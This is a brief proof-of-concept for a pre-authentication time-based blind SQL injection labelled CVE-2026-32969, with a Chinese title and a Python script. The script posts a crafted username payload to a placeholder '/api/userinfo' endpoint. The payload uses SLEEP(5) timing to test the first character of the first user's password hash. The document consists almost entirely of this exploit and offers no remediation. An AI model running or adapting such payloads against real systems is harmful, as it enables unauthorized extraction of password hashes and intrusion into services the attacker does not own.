CVE-2026-32969 Pre-Auth盲SQL注入漏洞

import requests import time def check_sqli(url): # Payload for time-based blind SQL injection # Checks if the first user's password hash starts with 'a' payload = { "username": "admin' AND IF(SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)='a', SLEEP(5), 0)-- -" } try: start_time = time.time() response = requests.post(url, data=payload) end_time = time.time() # Determine vulnerability based on response time if end_time - start_time >= 5: print("[+] Vulnerability Confirmed: SQL Injection is possible.") else: print("[-] Condition not met or not vulnerable.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://target-ip/api/userinfo" # Replace with actual target check_sqli(target)